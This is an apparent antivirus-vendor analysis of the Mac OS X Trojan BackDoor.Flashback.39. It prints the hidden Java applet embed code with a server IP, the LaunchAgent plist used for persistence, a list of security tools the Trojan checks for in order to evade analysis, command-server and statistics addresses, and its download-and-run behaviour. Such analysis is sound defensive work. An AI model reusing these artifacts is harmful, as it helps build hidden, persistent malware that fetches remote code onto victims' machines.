The Trojan horse for Mac OS X. Exploits a Java vulnerability to infect a system. Installation parameters are transferred with the applet parameters. Example:
<object type="application/x-java-applet" width="0" height="0"> <param name="s" value="1"/> <param name="q" value="2"/> <param name="svname" value="com.zeobit.keep"> <param name="svbname" value="mkeeper"> <param name="dname" value="Software Update"> <param name="lurl" value="31.31.79.87">'); <param name="archive" value="al-2.jar"> <param name="code" value="a.apl"> </object>
An exploit saves the executable and plist-file responsible for its launch to the hard drive.
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key><string>com.zeobit.keep</string> <key>ProgramArguments</key><array><string>/Users/<username>/.mkeeper</string></array> <key>RunAtLoad</key><true/> <key>StartInterval</key><integer>4212</integer> <key>StandardErrorPath</key><string>/dev/null</string> <key>StandardOutPath</key><string>/dev/null</string> </dict> </plist>
Once launched, the Trojan searches for the following components in the system and if at least one of them is found, the Trojan process ends:
* /Library/Little Snitch * /Developer/Applications/Xcode.app/Contents/MacOS/Xcode * /Applications/VirusBarrier X6.app * /Applications/iAntiVirus/iAntiVirus.app * /Applications/avast!.app * /Applications/ClamXav.app * /Applications/HTTPScoop.app * /Applications/Packet Peeper.app
After that it sends an installation success notification to a statistics server:
http://46.17.63.144/stat_svc/
It generates a list of command servers and sends consecutive queries at control server addresses. The GET requests include the following string in the user-agent field:
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1; sv:%s; id:%s) Gecko/20100101 Firefox/9.0.1
Here sv is the bot version, id is a unique identifier for the machine (Hardware UUID).
After receiving a response from the control server, BackDoor.Flashback.39 searches the response for three tags:
##begin## ##sign## ##end##
If the RSA verification for the reply is successful, then the Trojan horse downloads and runs the payload on the infected machine.
